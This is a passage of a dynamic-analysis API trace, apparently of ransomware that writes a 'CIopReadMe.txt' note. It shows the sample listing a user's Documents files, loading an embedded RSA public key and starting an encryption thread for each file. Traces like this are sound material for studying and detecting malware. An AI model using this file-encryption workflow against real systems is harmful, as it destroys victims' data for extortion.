(lpString1="Documents", lpString2=".") returned 1 [0088.736] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0088.736] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0088.736] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0088.736] SetErrorMode (uMode=0x1) returned 0x1 [0088.736] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0088.736] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0088.736] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0088.736] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*" [0088.736] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x5d6a88 [0088.736] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="Documents" [0088.736] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0088.736] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0088.736] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0088.736] lstrcmpW (lpString1="1u1PtMsi_p5I6Kp0gVZ.xlsx", lpString2="..") returned 1 [0088.736] lstrcmpW (lpString1="1u1PtMsi_p5I6Kp0gVZ.xlsx", lpString2=".") returned 1 [0088.736] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned 36 [0088.736] Sleep (dwMilliseconds=0xd) [0088.763] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0088.763] lstrcpyW (in: lpString1=0x2dc93de, lpString2="1u1PtMsi_p5I6Kp0gVZ.xlsx" | out: lpString1="1u1PtMsi_p5I6Kp0gVZ.xlsx") returned="1u1PtMsi_p5I6Kp0gVZ.xlsx" [0088.763] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0088.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x398 [0088.763] WaitForSingleObject (hHandle=0x398, dwMilliseconds=0xffffffff) returned 0x0 [0088.806] SetErrorMode (uMode=0x1) returned 0x1 [0088.806] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt") returned 46 [0088.806] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.806] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0088.806] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0088.806] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0088.806] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0088.806] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0088.806] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a0 [0088.807] WriteFile (in: hFile=0x3a0, lpBuffer=0x5e0568*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc8a3c, lpOverlapped=0x0 | out: lpBuffer=0x5e0568*, lpNumberOfBytesWritten=0x2dc8a3c*=0x759, lpOverlapped=0x0) returned 1 [0088.807] CloseHandle (hObject=0x3a0) returned 1 [0088.807] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0088.807] lstrcmpW (lpString1="4CDCeVLoOGDNNc.xlsx", lpString2="..") returned 1 [0088.807] lstrcmpW (lpString1="4CDCeVLoOGDNNc.xlsx", lpString2=".") returned 1 [0088.807] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned 36 [0088.807] Sleep (dwMilliseconds=0xd) [0088.825] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0088.825] lstrcpyW (in: lpString1=0x2dc93de, lpString2="4CDCeVLoOGDNNc.xlsx" | out: lpString1="4CDCeVLoOGDNNc.xlsx") returned="4CDCeVLoOGDNNc.xlsx" [0088.825] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0088.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a0 [0088.826] WaitForSingleObject (hHandle=0x3a0, dwMilliseconds=0xffffffff) returned 0x0 [0088.884] SetErrorMode (uMode=0x1) returned 0x1 [0088.885] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt") returned 46 [0088.885] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0088.885] CloseHandle (hObject=0x39c) returned 1 [0088.885] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0088.885] lstrcmpW (lpString1="5eq4aL0vBSUL.pps", lpString2="..") returned 1 [0088.885] lstrcmpW (lpString1="5eq4aL0vBSUL.pps", lpString2=".") returned 1 [0088.885] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned 36 [0088.885] Sleep (dwMilliseconds=0xd) [0088.903] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0088.903] lstrcpyW (in: lpString1=0x2dc93de, lpString2="5eq4aL0vBSUL.pps" | out: lpString1="5eq4aL0vBSUL.pps") returned="5eq4aL0vBSUL.pps" [0088.903] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0088.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c [0088.905] SetErrorMode (uMode=0x1) returned 0x1 [0088.905] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt") returned 46 [0088.905] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0088.906] CloseHandle (hObject=0x3a8) returned 1 [0088.906] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0088.906] lstrcmpW (lpString1="5EUw6X.xlsx", lpString2="..") returned 1 [0088.906] lstrcmpW (lpString1="5EUw6X.xlsx", lpString2=".") returned 1 [0088.906] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned 36 [0088.906] Sleep (dwMilliseconds=0xd) [0088.944] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0088.944] lstrcpyW (in: lpString1=0x2dc93de, lpString2="5EUw6X.xlsx" | out: lpString1="5EUw6X.xlsx") returned="5EUw6X.xlsx" [0088.944] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0088.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4 [0088.944] SetErrorMode (uMode=0x1) returned 0x1 [0088.944] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt") returned 46 [0088.944] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0088.944] CloseHandle (hObject=0x3ac) returned 1 [0088.944] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0088.944] lstrcmpW (lpString1="Database1.accdb", lpString2="..") returned 1 [0088.945] lstrcmpW (lpString1="Database1.accdb", lpString2=".") returned 1 [0088.945] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned 36 [0088.945] Sleep (dwMilliseconds=0xd) [0088.966] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0088.966] lstrcpyW (in: lpString1=0x2dc93de, lpString2="Database1.accdb" | out: lpString1="Database1.accdb") returned="Database1.accdb" [0088.966] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0088.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac [0088.967] WaitForSingleObject (hHandle=0x3ac, dwMilliseconds=0xffffffff) returned 0x0 [0089.067] SetErrorMode (uMode=0x1) returned 0x1 [0089.067] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt") returned 46 [0089.067] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0089.067] CloseHandle (hObject=0x3b0) returned 1 [0089.067] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.067] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0089.067] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0089.067] lstrlenW (lpString="desktop.ini") returned 11 [0089.067] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.067] lstrcmpW (lpString1="FnCzF1A7H gxenH83.pptx", lpString2="..") returned 1 [0089.067] lstrcmpW (lpString1="FnCzF1A7H gxenH83.pptx", lpString2=".") returned 1 [0089.067] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned 36 [0089.067] Sleep (dwMilliseconds=0xd) [0089.091] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.091] lstrcpyW (in: lpString1=0x2dc93de, lpString2="FnCzF1A7H gxenH83.pptx" | out: lpString1="FnCzF1A7H gxenH83.pptx") returned="FnCzF1A7H gxenH83.pptx" [0089.091] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.091] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0089.091] WaitForSingleObject (hHandle=0x3b0, dwMilliseconds=0xffffffff) returned 0x0 [0089.145] SetErrorMode (uMode=0x1) returned 0x1 [0089.145] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt") returned 46 [0089.145] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0089.145] CloseHandle (hObject=0x3a8) returned 1 [0089.145] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.145] lstrcmpW (lpString1="gCLjM xynMaWR.xlsx", lpString2="..") returned 1 [0089.145] lstrcmpW (lpString1="gCLjM xynMaWR.xlsx", lpString2=".") returned 1 [0089.145] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned 36 [0089.146] Sleep (dwMilliseconds=0xd) [0089.169] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.169] lstrcpyW (in: lpString1=0x2dc93de, lpString2="gCLjM xynMaWR.xlsx" | out: lpString1="gCLjM xynMaWR.xlsx") returned="gCLjM xynMaWR.xlsx" [0089.169] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8 [0089.169] SetErrorMode (uMode=0x1) returned 0x1 [0089.169] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt") returned 46 [0089.169] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0089.169] CloseHandle (hObject=0x3b8) returned 1 [0089.169] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.169] lstrcmpW (lpString1="hfoKW.pptx", lpString2="..") returned 1 [0089.169] lstrcmpW (lpString1="hfoKW.pptx", lpString2=".") returned 1 [0089.169] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned 36 [0089.169] Sleep (dwMilliseconds=0xd) [0089.185] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- 